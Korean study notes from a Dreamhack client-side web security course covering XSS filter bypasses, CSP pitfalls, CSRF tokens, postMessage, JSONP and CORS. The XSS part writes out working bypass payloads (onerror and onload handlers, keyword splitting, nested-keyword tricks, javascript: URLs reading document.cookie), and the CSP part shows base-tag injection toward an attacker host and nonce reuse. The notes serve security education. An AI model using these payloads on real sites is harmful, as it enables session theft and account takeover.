출처: dreamhack Introduction of Webhacking [4]
Client-Side에서 발생하는 취약점 방어 시 고려해야 할 사항이 상당수이며 공격 및 우회 기법이 끊임없이 고안되어 왔고 방어를 위한 오픈소스 라이브러리 또한 무수히 많은 것이 특징입니다.
"Client-side Advanced" 강의에서는 Client-Side에서 발생하는 취약점들에 대해 잘못 조치한 사례에 대해 알아보고 이를 공격하는 방법들에 대해 다룹니다.
이 외에도 XSS와 연계하여 HTML(DOM)과 자바스크립트 간에 객체 이름이 겹치는 것을 이용해 공격하는 DOM Clobbering에 대해 알아보고, 더불어 RPO(Relative Path Overwrite) 공격 기법과 이를 방어하는 법에 대해서도 알아보겠습니다.
Cross-Site Scripting (XSS)
태그 및 속성, 자바스크립트 키워드 등을 기반으로 한 XSS 필터를 우회하는 기법을 알아보겠습니다.
Content Security Policy (CSP)
CSP 지시어를 사용하는 방법과 잘못된 CSP 사용 및 이를 우회할 수 있는 방법에 대해 알아보겠습니다.
Cross-Site Request Forgery (CSRF)
CSRF 공격을 방어하기 위한 기술인 CSRF Token의 오용 및 이를 공격할 수 있는 방법에 대해 알아보겠습니다.
Cross-Origin Resource Sharing (CORS)
SOP를 우회하여 Origin 간 자원을 공유하는 각종 기술에 대해 알아보고 이를 공격할 수 있는 방법에 대해 알아보겠습니다.
Exploit Techniques
제한된 상황에서 사용할 수 있는 테크닉과 특별한 상황에서 발생할 수 있는 Client-Side 공격 기법 등에 대해 알아보겠습니다.
<XSS>
XSS 방어에는 다양한 방법이 존재합니다. 가장 확실한 방법은 사용자가 HTML 태그나 엔티티 자체를 입력하지 못하도록 하고, 대신 입력을 서식 없는 평문(plaintext)으로 취급하는 것입니다. 이를 위해서 서버 측에서는 <, >, & 와 같은 특수 문자들을 Escape하고, 클라이언트 측에서는 DOM의 textContent 또는 createTextNode를 사용해 HTML 태그 등이 해석되는 것을 방지하면 됩니다.
그러나 만약 아래와 같은 다양한 서식을 허용하고자 한다면 HTML 태그를 허용하는 것이 가장 쉬운 방법일 것입니다.
- 강조 (<strong>강조</strong>)
- 스타일 (<span style="color: green;">스타일</span>)
- 하이퍼링크 <a href="https://dreamhack.io/">하이퍼링크</a>
- 이미지, 문서 등 다양한 멀티미디어 등
앞선 Client-side Basic 강의에서는 이를 위해 화이트리스트 필터링을 사용할 것을 권장하였으나, 이 방어가 제대로 이루어지지 않을 경우 우회하여 공격할 수 있게 됩니다.
잘못된 XSS 방어 기법들을 우회할 수 있는 방법
--HTML에서 XSS 공격을 방어하기 위한 필터가 복잡해지는 이유
HTML에서 JavaScript 코드를 실행하거나 페이지에 변형을 가하는 방법은 여러 가지가 있으며, XSS 필터는 이를 모두 막아 웹 페이지의 보안을 유지하여야 합니다.
HTML 표준과 브라우저의 기능은 나날이 변화하고 발전하고 있는 가운데 안전하지 않은 코드를 실행할 수 있는 방법의 개수는 계속 증가하고 있으며, 보안을 위해 XSS 필터는 안전하다고 알려진 마크업만 허용하는 보수적인 방식을 취해야 합니다. (화이트리스트 필터링)
또한 일부 문자열만을 바탕으로 필터를 하게 되면 허위양성 또는 허위음성이 발생하여 여과 자체가 제대로 이루어지지 못해 취약점이 발생할 수도 있습니다.
태그 및 속성 필터링
코드를 실행할 수 있는 HTML 요소는 <script> 이외에도 상당수 존재합니다. 스크립트를 포함할 수 있는 속성이 존재합니다. 대표적으로 이벤트 핸들러를 지정하는 on으로 시작하는 속성들이 있습니다.
많이 사용되는 이벤트는 load와 error가 있으며, 사용 예시는 아래와 같습니다
요소의 속성값 또한 < 와 같은 HTML 엔티티를 포함할 수 있어 본래 코드를 숨길 때에 사용될 수 있습니다. 단순히 태그나 속성을 바탕으로 필터를 하게 되면 우회가 가능한 경우가 많습니다.
다음은 취약한 필터의 예시입니다.
- 대문자 혹은 소문자만을 인식하는 필터 우회
- 잘못된 정규표현식을 사용한 필터 우회
- 특정 태그 및 속성에 대한 필터링을 다른 태그 및 속성을 이용하여 필터 우회
예제
"script" 태그 외에도 스크립트를 실행 시킬 수 있는 태그들의 이벤트 핸들러를 사용하여 우회할 수 있습니다.
<img src=about: onerror=alert(document.domain)> //img 소스가 에러시 document.domain 보여주기
<svg src=about: onload=alert(document.domain)> //svg(벡터이미지) 소스가 로드시 document.domain 보여주기
<body onload=alert(document.domain)> //body 로드시 보여주기
<video><source onerror=alert(document.domain)></video> //document.domain 보여주기
*video tag
<video width="320" height="240" controls>
<source src="movie.mp4" type="video/mp4">
<source src="movie.ogg" type="video/ogg">
Your browser does not support the video tag.
</video>
https://www.w3schools.com/html/html5_video.asp
<iframe srcdoc='<img src=about: onerror=parent.alert(document.domain)>'></iframe>
"parent.alert" 를 호출하는 이유는 무엇인가요?
XSS 페이로드 스크립트는 iframe안에서 호출됩니다.문제를 풀기 위해 alert를 호출하려면, 스크립트가 호출되는 영역의 상위 문서에 존재하는 alert를 호출해야 합니다.
*iframe
iframe은 HTML Inline Frame 요소이며 inline frame의 약자이다.
효과적으로 다른 HTML 페이지를 현재 페이지에 포함시키는 중첩된 브라우저로
iframe 요소를 이용하면 해당 웹 페이지 안에 어떠한 제한 없이 다른 페이지를 불러와서 삽입 할 수 있다.
srcdoc : 직접 태그소스를 iframe으로 표시할 수 있다.
출처: https://okayoon.tistory.com/entry/아이프레임iframe
JavaScript 함수 및 키워드 필터링
JavaScript는 Unicode escape sequence ("\uAC00" = "가") 와 같이 문자열에서 유니코드 문자를 코드포인트로 나타낼 수 있는 표기), computed member access (객체의 특정 속성을 접근할 때 속성 이름을 동적으로 계산함) 등 코드를 난독화할 수 있는 다양한 기능들을 포함하여 다음과 같이 필터를 우회할 수 있습니다.
atob 와 decodeURI 함수는 각각 Base64 및 URI로 인코딩된 데이터를 디코딩하는 함수로써 키워드 등을 부호화하여 필터를 우회할 수 있습니다.
다음은 XSS 공격에 흔히 사용되는 구문과 필터 우회를 위해 사용될 수 있는 대체 예시입니다.
구문 대체 구문
alert, XMLHttpRequest 등 최상위 객체 및 함수 |
window['al'+'ert'], window['XMLHtt'+'pRequest'] 등 이름 끊어서 쓰기 |
window | self |
this ("use strict" 가 비활성화되어 있고 this 가 명시된 메소드 호출이 아니라는 가정 하) |
|
eval(code) | Function(code)() |
Function | isNaN['constr'+'uctor'] 등 함수의 constructor 속성 접근 |
극단적인 사례로 JavaScript의 언어적 특성을 활용하면 6개의 문자([, ], (, ), !, +)만으로 모든 동작을 수행할 수 있습니다. 이 기법은 cookie와 같이 기존 XSS 필터들이 주로 탐지하는 단어들을 언급하지 않아도 된다는 장점이 있어 상당수의 웹 사이트들을 공격하는 데에 활용되어 왔습니다.
필터링 또는 인코딩/디코딩 등의 이유로 특정 문자( (),[],",' 등)를 사용하지 못하는 경우가 있습니다.
JavaScript는 다양한 문법을 지원하는 언어로써 해당 문자를 대체할 수 있는 방법들을 통해 우회하여 공격할 수 있습니다.
문자열 선언
- 일반적인 방법
- quotes(", ') 또는 Template literals 사용
- quotes 또는 Template literals을 사용하지 못하는 경우
var baz = history.toString()[8] + // "H"(history+[])[9] + // "i"(URL+0)[12] + // "("(URL+0)[13]; // ")" ==> "Hi()"
/*기본 내장 함수 또는 오브젝트의 문자를 사용하는 방법.
history.toString(); ==> "[object History]"
URL.toString(); ==> "function URL() { [native code] }"
history+[]; history+0;
// 연산을 위해 history 오브젝트에서 toString() 함수가 실행된다.*/
함수 호출
- 일반적인 방법
- 괄호(Parentheses, ()) 또는 Tagged templates 사용
- 괄호 또는 Tagged templates를 사용하지 못하는 경우
기타
퀴즈
프로그램 쓰겠지 ..?
/alert/.source+[URL+[]][0][12]+/document.cookie/.source+[URL+[]][0][13]
instanceof{[Symbol.hasInstance]:eval};
location=/javascript:/.source + /alert/.source + [URL+0][0][12] + /document.cookie/.source + [URL+0][0][13];
문자열 치환
의심되는 XSS 구문을 거부하는 대신 단순히 치환 또는 제거하는 관습 또한 존재합니다.
이는 필터되는 문자열 사이에 또 다른 필터되는 문자열을 넣으면 최종적으로 바깥에 필터링되는 문자열이 다시 나타나게 되어 필터가 무력화될 뿐더러 웹 응용 방화벽(Web Application Firewall) 등에서 탐지하지 못하게되는 부작용이 발생하게 됩니다.
(x => x.replace(/script/g, ''))
('<scrscriptipt>alscriptert(documescriptnt.cooscriptkie)</scrscriptipt>')
--> <script>alert(document.cookie)</script>
(x => x.replace(/onerror/g, ''))
('<img oneonerrorrror=promonerrorpt(1)>')
--> <img onerror=prompt(1) />
대안 접근 방식으로 흔히 다음과 같이 문자열에 변화가 없을 때까지 지속적으로 치환하는 방식이 사용되곤 합니다.
특정 키워드가 최종 마크업에 등장하지 않도록 하는 데에는 효과적일 수 있지만 미처 고려하지 못한 구문의 존재, WAF 방어 무력화 등은 동일하다는 점을 기억해야 합니다.
예제
활성 하이퍼링크
HTML 마크업에서 사용될 수 있는 URL들은 활성 콘텐츠를 포함할 수 있습니다.
이 중 javascript: 스키마는 URL 로드 시 자바스크립트 코드를 실행할 수 있도록 합니다.
브라우저들은 또한 URL를 사용할 때 정규화(normalization)를 거치는데, 이 과정에서 \x01, \x04 와 같은 특수 제어 문자들이 제거될 수 있습니다. HTML 요소 속성에서 엔티티를 사용할 수 있다는 점을 이용하면 다양한 우회 기법을 사용할 수 있게 됩니다.
JavaScript에서는 URL 객체를 통해 URL을 직접 정규화할 수 있으며,
protocol, hostname 등 URL의 각종 정보를 추출할 수 있습니다.
디코딩 전 필터링 (Double encoding 등)
본래 입력 검증은 디코딩 등의 모든 전처리 작업을 마치고 최종적으로 사용되는 형태에서 이루어져야 합니다.
그러나 일부 웹 응용은 웹 방화벽 등의 필터링 기능에 의존하거나, 데이터를 개별 요소를 추출하기 전에 전체 데이터(JSON, Form data 등)에 필터를 가하는 경우가 있습니다.
예시로, 웹 방화벽(Apache HTTP Server의 mod_security 등)을 사용하는 응용에서 만일 POST 요청으로 데이터를 받는데 파라미터 값에 추가로 URL Decode를 가한다면 방화벽의 XSS 필터링은 무효화됩니다.
마찬가지로 내부 응용에서 XSS 필터 검사를 하고 URL Decode 등을 가한다면 %253E → %3E → < 식으로 필터가 무용지물이 되어버립니다.
불필요한 인코딩을 줄이고, 응용에서 사용되는 인코딩 방식을 통일하는 등으로 디코딩 전 필터링 취약점을 줄일 수 있습니다.
길이 제한
삽입될 수 있는 코드의 길이에 제한이 있는 경우, 다른 경로로 실행할 추가적인 코드(payload)를 URL fragment 등으로 삽입 후 삽입 지점에는 본 코드를 실행하는 짧은 코드(launcher) 사용할 수 있습니다.
Fragment로 스크립트를 넘겨준 후 XSS 지점에서 location.hash 로 URL의 Fragment 부분을 추출하여 eval()로 실행하는 기법이 흔히 쓰입니다.
- location.hash 를 이용한 공격 방식
그외에도 쿠키에 페이로드를 저장하는 방식과 import 와 같은 외부 자원을 스크립트로 로드하는 방법 또한 사용할 수 있습니다.
- 외부 자원을 이용한 공격 방식
<CSP>
CSP(Content Security Policy, 컨텐츠 보안 정책)는 XSS 공격이 발생하였을 때 그 피해를 줄이고 웹 관리자가 공격 시도를 보고받을 수 있도록 하는 기술입니다.
웹 페이지에 사용될 수 있는 자원에서 위치 등에 제약을 걸어 공격자가 웹 사이트에 본래 있지 않던 스크립트를 삽입하거나 공격자에게 권한이 있는 서버 등에 요청을 보내지 못하도록 막을 수 있습니다.
CSP는 XSS 등 공격의 피해를 완전히 무력화하기 위한 수단은 아니기 때문에 XSS에 대한 자체적인 방어가 병행되어야 합니다.
CSP 헤더는 1개 이상의 정책 디렉티브가 세미콜론(;)으로 분리된 형태로 이루어져 있습니다. 정책 디렉티브는 지시어 종류(예. default-src, script-src)와 1개 이상의 출처(예. 'self', https:, *.dreamhack.io)가 스페이스로 분리된 형태로 지정하여야 합니다.
다음은 페이지 내부의 자원들이 같은 Origin (='self') 또는 https://example.dreamhack.io에서만 로드되어야 함을 나타내는 CSP 헤더입니다.
다음은 <script nonce="1AfdcQ8/gY+d1Yarc7=="> 와 같이 특정 nonce 속성이 입력된 태그만을 허용하며,
추가로 <base> 태그가 현재 페이지가 참조하는 상대 경로들이 해석되는 기준점을 바꾸지 못하도록 합니다. nonce 값은 공격자가 예측할 수 없도록 페이지를 접근할 때마다 재생성하여야 합니다.
다음은 SHA384 해쉬가 38b060a751ac9638...4898b95b 인 스크립트를 허용하는 CSP 헤더입니다.
만약 페이지가 PHP나 Python, CGI 등 동적 기능을 사용하지 않는 정적인 웹 페이지라면 CSP 정책을 HTML <meta> 태그로도 지정할 수 있습니다. 이는 바뀌지 않는 자원들을 별도의 HTTP 서버 설정 없이 HTML 페이지 내에서 지정할 수 있도록 합니다.
정적인 웹 페이지에서도 자바스크립트 코드에서 DOM 기반 XSS가 발생할 수 있습니다. 동적 웹 페이지에서도 사용 가능하나 사용자가 동적 콘텐츠를 이용해 CSP를 무력화하지 못하도록 주의해야 합니다.
CSP 규칙은 가능한 한 세밀하게 설정하는 것이 좋습니다. CSP 정책이 관용적으로 설정될 경우(예. 특정 CDN의 모든 자원 허용) 공격자는 CSP 내에서 허용된 서버를 공격하거나 웹 사이트의 API 엔드포인트 등을 역이용하여 XSS 공격을 감행할 수 있어 효과가 떨어지게 됩니다.
이 주제에서는 안전하지 않은 CSP 정책과 이를 공격자가 우회할 수 있는 방법에 대해 알아보도록 하겠습니다.
CSP 우회 — 신뢰하는 도메인에 업로드
CSP를 이용하면 브라우저가 특정 웹 사이트에서만 자원을 불러오게끔 제한할 수 있습니다. 만약 해당 웹 사이트가 파일 업로드 및 다운로드 기능을 제공한다면, 공격자는 해당 사이트에 스크립트 등을 업로드한 뒤 다운로드 주소로 대상 웹 페이지에 해당 자원을 포함시킬 수 있게 됩니다.
이 외에도 JSONP API가 신뢰하는 도메인에 존재한다면 다음과 같이 공격이 가능합니다.
이에 대한 해결책으로는 도메인 Origin 대신 해쉬나 nonce 등을 이용하는 방법이 있습니다. 부득이하게 웹 사이트 단위 자원 출처 지정이 필요한 경우 HTTP 요청의 Accept 헤더를 바탕으로 현재 요청이 <script src="..."> 등에서 기원한 것인지 확인하여 요청을 거부할 수는 있습니다. --주석은 아닌지
한편, JSONP API를 제공하는 서비스는 콜백 이름에 식별자를 제외한 문자를 거부함으로써 이를 추가적으로 방어할 수 있습니다. 그러나 가능한 경우 JSONP보다는 CORS를 지원하는 API를 사용하는 것이 좋습니다.
CSP에서 기본적으로 사용할 수 있는 Origin 명세는 다음과 같습니다.
종류 설명 예시
<host-source> | 호스트와 포트로 판별합니다. | https://*.dreamhack.io dreamhack.io:443 http://insecure.dreamhack.io |
<scheme-source> | URL 스키마로 판별합니다. | http:, https:, data:, blob:, ... |
'self' | 같은 Origin의 자원만 허용합니다. | 'self' |
'unsafe-eval' | eval() 등 안전하지 않은 함수를 허용합니다. | 'unsafe-eval |
'unsafe-inline' | 유효한 nonce나 해쉬가 지정되지 않은 <script>, javascript: URL 등을 허용합니다. | 'unsafe-inline' |
'none' | 어떤 Origin도 허용하지 않습니다. | 'none' |
nonce-<base64> | Base64로 지정된 nonce를 지정합니다. | 'nonce-CAxn148fFUvd9u3201Gy=' |
<hashalg>-<base64> | Base64로 지정된 해쉬 값을 사용하여 추후 로드되는 자원의 해쉬와 비교합니다. | sha384-OLBgp1GsljhM2TJ+sbHjaiH9txEUvgdDTAzHv2P24donTt6/529l+9Ua0vFImLlb3g== |
해시란?
https://medium.com/@yeon22/crypto-%ED%95%B4%EC%8B%9C-hash-%EB%9E%80-6962be197523
sha-256, 512권고
base64란? 64진법 인코딩방식
CSP 우회 — nonce 예측 가능
CSP의 nonce를 이용하면 따로 도메인이나 해쉬 등을 지정하지 않아도 공격자가 예측할 수 없는 특정 nonce 값이 태그 속성에 존재할 것을 요구함으로써 XSS 공격을 방어할 수 있습니다. 이 방어를 효과적으로 사용하기 위해서는 nonce 가 공격자가 취득하거나 예측할 수 없는 값이어야 합니다. 이는 보통 매 요청마다 nonce를 새로 생성함으로써 이루어지는데, 만일 이를 생성하는 알고리즘이 취약하여 결과 예측이 가능하면 공격자는 이를 유추해 자신의 스크립트를 웹 사이트에 삽입할 수 있습니다.
nonce를 사용할 때에는 nonce 값을 담고 있는 HTTP 헤더 또는 <meta> 태그가 캐시되지 않는지 주의하여야 합니다. PHP나 CGI 계열 스크립팅을 사용할 때에는 특히 주의해야 하는데, 이는 스크립트들이 마치 디렉토리처럼 /index.php/style.css 와 같이 뒤에 추가적인 경로를 붙여 접근될 수 있기 때문입니다.
만약 캐시 서버가 확장자를 기반으로 캐시 여부를 판단한다면 .css 는 일반적으로 정적 파일이므로 동적 콘텐츠로 간주하지 않아 캐시에 저장할 수 있고, 이 경우 캐시가 만료될 때까지 요청시마다 같은 nonce가 돌아오기 때문에 공격자는 이를 바탕으로 nonce를 획득할 수 있습니다. 콘텐츠가 캐시되어 서버측 XSS가 일어나지는 않으나, DOM XSS 등 클라이언트측에서 일어날 수 있는 공격에 취약해지게 됩니다.
추가적으로, nonce 값은 공격자가 예측할 수 없는 난수 값이어야기 때문에 보안상 안전한 의사 난수 생성기(CSPRNG)를 사용하는 것이 좋습니다. 만일 현재 시각(srand() / rand()) 등 공격자가 알 수 있는 정보를 바탕으로 nonce를 생성하면 방어의 효과를 잃게 됩니다. 이는 CSP 이외에도 난수를 사용하는 응용에서 일반적으로 적용되는 사항입니다.
Nginx와 PHP FastCGI SAPI(php-fpm)를 사용하였을 때의 예시입니다.
아래는 snippets/fastcgi-php.conf 의 내용입니다.
위와 같은 Nginx 설정을 갖고 있을 때 /dom_xss_vulnerable.php/style.css 의 주소로 접근하면
dom_xss_vulnerable.php 파일이 실행되어 nonce가 <meta http-equiv="Content-Security-Policy" content="... nonce ..."> 태그로 출력됩니다. CDN은 보통 CSS 또는 스크립트 등 정적 파일을 캐싱하기 때문에 meta 태그로 출력된 nonce 또한 같이 캐싱됩니다
참고(https://docs.microsoft.com/ko-kr/azure/cdn/cdn-how-caching-works)
따라서 DOM XSS에 취약한 해당 페이지의 nonce값이 고정되어 공격자는 <script nonce="{고정된 nonce 값}">alert(1);</script> 와 같은 마크업을 이용할 수 있습니다.
PATH_INFO 기능을 사용하지 않는 경우 해당 설정은 location ~ \.php$ 처럼 URL의 끝 부분이 .php일때만 FastCGI로 넘어가게 수정되어야 합니다. 또한 URL에 a/b.php/c/d.php와 같이 .php가 중복 사용될 때를 대비하여 fastcgi-php.conf 스니펫을 사용하지 않고 다음과 같이 변경되어야 합니다.
CSP 우회 — base-uri 미지정
HTML에서 하이퍼링크에서 상대 경로를 지정하면 브라우저는 마치 파일 경로처럼 기본적으로 현재 문서를 기준으로 주소를 해석하게 됩니다. HTML <base> 요소는 상대 경로가 해석되는 기준점을 변경할 수 있도록 하며, <a>, <form> 등의 target 속성의 기본값을 지정하도록 합니다.
만일 공격자가 <base href="https://malice.test/xss-proxy/">와 같은 마크업을 삽입하게 된다면, 추후 상대 경로를 사용하는 URL들은 본래 의도한 위치가 아닌 공격자의 서버에 자원을 가리키게 되어 공격자는 이를 통해 임의의 스크립트 등을 삽입할 수 있게 됩니다. 본래 <base> 태그의 href 속성을 사용하지 않는 페이지라면 이를 방어하기 위해 다음과 같은 정책을 설정할 수 있습니다.
임의 HTML 마크업을 삽입해 글을 올릴 수 있는 서비스가 있다고 가정합니다.
해당 서비스는 업로드 과정에서 필터링를 통해 <a> 태그 내에 있는 href 속성이 외부 링크면 내부 페이지(아래 link.php)로 이동해 경고를 하는 기능을 제공합니다.
외부 링크는 내부 link.php를 거쳐가게 됩니다.
CSP의 base-uri 지시어를 지정해주지 않으면 위 방법으로 우회할 수 있습니다.
이를 막기 위해 CSP base-uri 'none' 정책을 사용해야 합니다.
<CSRF>
잘못된 CSRF Token 생성
Client-side Basic 강의에서 CSRF의 기본 개념에 대해 알아보았습니다. 이번 강의에서는 CSRF 방어에 있어서 주의할 점에 대해 알아보도록 하겠습니다.
CSRF 방어 중 CSRF Token은 같은 Origin(출처)에서만 접근 가능한 형태로 특정 토큰을 저장해 제3자가 아닌 사용자로부터 요청이 왔다는 것을 인증할 수 있는 방법입니다. CSRF Token 값은 보통 HTML Form의 hidden 필드로 입력되나, 동적 요청에서도 사용될 수 있습니다.
CSRF Token 방식은 CAPTCHA 또는 암호 방식과 달리 추가적인 사용자 상호작용이 불필요하다는 장점을 가지고 있으나 한편 XMLHttpRequest나 Fetch API 등으로 Authorization과 같은 헤더를 설정하여 통신하는 것에 비해 여러 가지 보안 문제의 원인이 되고는 합니다. CSRF Token 사용에 있어 가능한 취약점의 예시는 다음과 같습니다.
짧은 CSRF Token
CSRF Token은 외부자가 예측 불가능하도록 설계된 만큼 무차별 대입 공격(brute-force attack)이 효과적이지 않도록 토큰의 길이가 충분히 길어야 합니다.
예측 가능한 CSRF Token (PRNG 등)
토큰의 길이가 충분하여도 공격자가 충분히 접근 가능한 데이터(예. 현재 시간 등)을 바탕으로 생성하거나 또는 암호학적으로 안전하지 않은 의사 난수 생성기를 사용하게 되면 토큰을 예측하는 것이 덜 어려워지게 됩니다. 이 경우 공격자는 토큰을 추론해 사용자의 신원 정보를 탈취할 수 있습니다. 공격자가 예측할 수 없거나 충분한 안전성이 보장된 난수 생성기(CSPRNG)를 사용하여야 예측 공격을 방지할 수 있습니다.
CSRF Token 유출
CSRF Token이 제공하는 보안은 토큰이 공격자가 알지 못함을 전제로 하며, 따라서 다른 경로로 제3자에게 노출되지 않도록 주의하여야 합니다. CSRF Token이 URL의 Query 파라미터로 넘겨지게 되면 이후 다른 링크를 방문하였을 때 Referer 헤더로 토큰이 그대로 노출되고, 공격자는 이를 이용해 역으로 사용자를 공격할 수 있게 됩니다.
<CORS>
Client-side Basic 강의에서 CORS의 기본 개념에 대해 알아보았습니다. SOP의 한계를 극복하고 Origin 간 자원 공유를 돕기 위해 postMessage, JSONP 및 CORS 정책 기술이 도입되었습니다.
SOP(Same Origin Policy-같은 출처 정책)를 우회하기 위해 설계된 만큼 CORS는 잘못 사용될 경우 사이트 간 공격이 가능해지는 취약점이 발생할 수 있습니다. 이는 웹 상에 있는 서비스에만 제약되는 것이 아니며, 일부 P2P 파일 공유 소프트웨어에서 localhost를 통해 제어판을 웹 인터페이스로 제공하였는데 CORS 정책이 제대로 설정되어 있지 않아 CSRF 취약점이 발생한 사례가 있습니다.
이 주제에서는 CSP 기술의 사용에 있어서 주의할 점과 취약점 발생 시 CSRF 등 다른 취약점과 연계되는 방식에 대해 알아보도록 하겠습니다.
CORS 기술의 사용에 있어 발생할 수 있는 취약점의 종류는 크게 다음과 같이 나눌 수 있습니다.
현재 사이트에서 다른 사이트로 정보 유출 (기밀성)
CORS는 모든 정보를 공개하는 Open API뿐만 아니라 특정 대상에게만 자원을 공유하고자 하는 사이트에서도 사용될 수 있습니다. 만일 다른 사이트로부터 CORS 요청을 받을 때 그 Origin에 대한 검사가 진행되지 않고 응답하거나 Origin에 제약이 없는 경우 사용자의 신원 등 민감한 정보가 다른 사이트에 노출될 수 있습니다.
다른 사이트에서 현재 사이트 변조 (무결성)
CORS 요청의 Origin이 신뢰할 수 있는 출처인지 확인 또는 제한하지 않거나 CORS 응답을 그대로 사용할 경우 XSS 등 보안 문제가 발생할 수 있습니다. CORS 기술을 도입할 때 어떤 사이트를 얼마나 신뢰하느냐가 결정되어야 하며, XSS 필터 등 신뢰하지 않는 입력에 대한 방어 또한 병행되어야 합니다.
Window.postMessage API
웹 초창기에는 프레임과 창들은 자유롭게 서로의 코드를 호출할 수 있었으나, SOP가 도입되면서 서로 다른 오리진들은 직접적으로 리소스를 공유하지 못하게 되었습니다. 이를 해결하기 위하여 Origin을 횡단하여 메시지를 주고받을 수 있는 API가 고안되었습니다.
메시지를 전송할 때에는 대상 윈도의 postMessage 메소드를 호출하며, 수신하는 윈도는 message 전역 이벤트를 청취하여 메시지를 받을 수 있습니다.
targetWindow.postMessage(message, targetOrigin[, transfer])
변수 설명
targetWindow | 메시지를 보낼 대상 Window |
message | 메시지 객체 (함수, DOM 객체 등은 보낼 수 없음) |
targetOrigin | 메시지 송신 시점에 targetWindow의 Origin이 targetOrigin과 일치하여야 함. targetOrigin에 "*"을 지정하면 Origin 검사가 이루어지지 않음. |
transfer | (선택사항) ArrayBuffer나 canvas context 등 소유권을 전이할 객체의 배열을 지정. |
message 이벤트 (MessageEvent)
고유 속성설명
origin | 메시지를 송신한 Origin 반환 |
source | 메시지를 송신한 Window 객체 반환 |
data | 복사된 메시지 객체 또는 값 반환 |
postMessage 를 통해 message로 문자열뿐만 아니라 객체 또한 주고받을 수 있으나, 보안을 위해 함수(객체 메소드 포함), DOM 노드(요소 등) 객체, 프로토타입 및 get/set 속성 정보는 보낼 수 없습니다. 또한, 전송되는 모든 객체는 복사되므로 송신 후 객체를 변경하여도 수신하는 윈도에서는 변경 내용을 볼 수 없습니다.
Window.postMessage 사용 시 취약점 - Origin 미확인
Window.postMessage API 사용 시 Origin을 명확히 지정 및 검사해야 합니다. SOP를 우회하여 자유자재로 다른 윈도와 통신할 수 있도록 만들어진 API이기 때문에 Origin 검사 또한 웹 개발자의 책임이 됩니다.
특정 윈도는 모든 Origin에서 오는 메시지를 수신할 수 있는데, 이때 message 이벤트 핸들러에서 origin 속성을 검사하지 않고 메시지의 내용을 신뢰하면 보안 문제가 발생할 수 있습니다.
Window.postMessage 사용 시 취약점 - Origin 전환 경합 조건
postMessage를 사용할 때 한 가지 기억해두어야 할 점은 메시지를 보내는 대상이 웹 문서가 아닌 창(윈도)이라는 것입니다. 웹 문서는 보통 그 출처가 고정되어 있는 반면, 창의 경우에는 사용자가 하이퍼링크를 방문하거나 스크립트가 다른 문서로 Redirect시켜 들어 있는 문서가 바뀔 수 있습니다. 이 상태에서 메시지를 보내게 되면 본래 의도하지 않은 Origin에 메시지가 누출되는 보안 문제가 발생할 수 있습니다.
postMessage의 두 번째 매개변수 targetOrigin에 대상 Origin 문자열을 명시하면 이 문제를 해결할 수 있습니다. 브라우저에서 메시지 송신 시점에서 Origin을 검사하여 일치하지 않는 경우 송신을 거부합니다.
반면 "*"를 지정하는 것은 targetWindow의 Origin이 무엇이든지 상관없이 메시지가 보내지므로 권장하지 않습니다.
JSONP
JSON with Padding의 준말이며, CORS 기술이 도입되기 전 SOP를 우회하기 위해 흔히 쓰였던 방식입니다. API 제공자의 코드를 그대로 사용자의 웹 문서에서 실행하기 때문에 API 서버가 침해되면 API를 사용하는 문서 역시 자동으로 XSS 공격에 취약해진다는 단점이 있어 신뢰할 수 있는 API 서버가 아닌 이상 최근에는 그 사용이 줄어들고 있는 추세입니다.
JSONP API는 JSON API과 유사하나, 응답 데이터를 특정 콜백 함수를 호출하는 코드로 감싸고 요청 시 XHR이 아니라
<script src="https://api.test/request.jsonp?id=123&callback=onAPIResponse">
와 같이 스크립트로 포함시켜 동작한다는 점이 다릅니다.
응답은 onAPIResponse({...}); 식으로 생성되어 최종적으로 본래 문서의 함수를 호출하게 됩니다.
JSONP에 의해 발생할 수 있는 취약점은 다음과 같습니다.
Origin 검사 부재로 인한 CSRF
JSONP에 한정된 취약점은 아니지만, 전적으로 HTTP GET 메소드에 의존하는 JSONP 특성상 CSRF 공격에 더 취약한 특성이 있습니다. 공적으로 사용 가능한 API면 상관이 없으나, 민감한 정보를 반환하거나 권한이 필요한 작업을 수행하는 경우 JSONP 요청을 처리할 때마다 요청자의 Origin을 검사하여야 합니다. CSRF Token을 사용하는 방법이 있으나 리다이렉트가 존재하는 경우 토큰이 Referer 헤더를 통해 제3자에게 노출되는 일이 발생하지 않도록 주의하여야 합니다.
콜백 함수명 검증 부재로 인한 제공자 XSS
JSONP API 다수는 사용자가 콜백 함수명을 직접 지정할 수 있도록 하고 있습니다. 만일 콜백명에 HTML 코드 등을 삽입한다면 브라우저는 이를 HTML로 인식할 수 있고, 이 경우 XSS 취약점이 발생하게 됩니다.
콜백 HTML 삽입을 막기 위해서는 콜백명에 필터를 적용하는 것이 좋습니다. 추가적으로 JSONP 요청을 처리할 때 HTTP Accept 헤더에 text/javascript MIME 타입이 포함되어 있는지 검사하고, Content-Type: text/javascript 설정 및
X-Content-Type-Options: nosniff 헤더로 응답이 자바스크립트가 아닌 다른 콘텐츠로 인식되는 경우를 방지하여야 합니다.
JSONP API 침해 사고 발생 시 사용자 XSS
만약 JSONP API가 침해 사고를 당해 악의적인 응답이 돌아온다면 이를 사용하는 모든 사이트는 XSS 공격을 받게 됩니다. 이는 JSONP의 가장 큰 단점으로 CSP를 사용하고 JSONP를 제공하는 웹 서비스를 신뢰하는 것 외에는 별다른 방법이 없습니다. JSONP 사용을 피하고 CORS 정책 헤더를 대신 사용하여야 하는 이유입니다.
CORS 정책
CORS 정책은 서버가 HTTP 응답 헤더를 통해 직접 허용하고자 하는 Origin을 지정할 수 있도록 하는 기술로, SOP와 JSONP의 한계를 넘기 위해 설계되었습니다. JSONP가 지니고 있던 문제를 해결하여 타 서비스에서 유입된 스크립트를 실행하지 않고도 XMLHttpRequest 등으로 타 웹사이트의 자원을 요청할 수 있습니다.
CORS 요청을 보낼 때 브라우저는 먼저 대상 웹 서버에 OPTIONS 메소드를 가진 예행(pre-flight) 요청을 추가로 보냅니다. 이는 서버가 CORS 접근을 인식하고 지원하는지 판별하기 위한 과정으로서, 만일 서버가 OPTIONS 헤더를 지원하지 않는다면 CORS 표준에 맞지 않는 응답을 보내게 되고 요청은 중단되게 됩니다.
만일 서버가 CORS 정책을 지원하면 OPTIONS 요청의 응답에 허용되는 Origin 등의 정보를 보내게 됩니다. CORS와 관련된 HTTP 헤더는 다음과 같습니다.
헤더 이름설명
Access-Control-Allow-Origin | 요청이 허용되는 Origin 지정, * 의 경우 모든 Origin 허용 |
Access-Control-Allow-Credentials | 요청에 신원 정보(쿠키 등)이 포함될 수 있는지 지정 |
Access-Control-Allow-Methods | 요청에 허용되는 메소드 지정 |
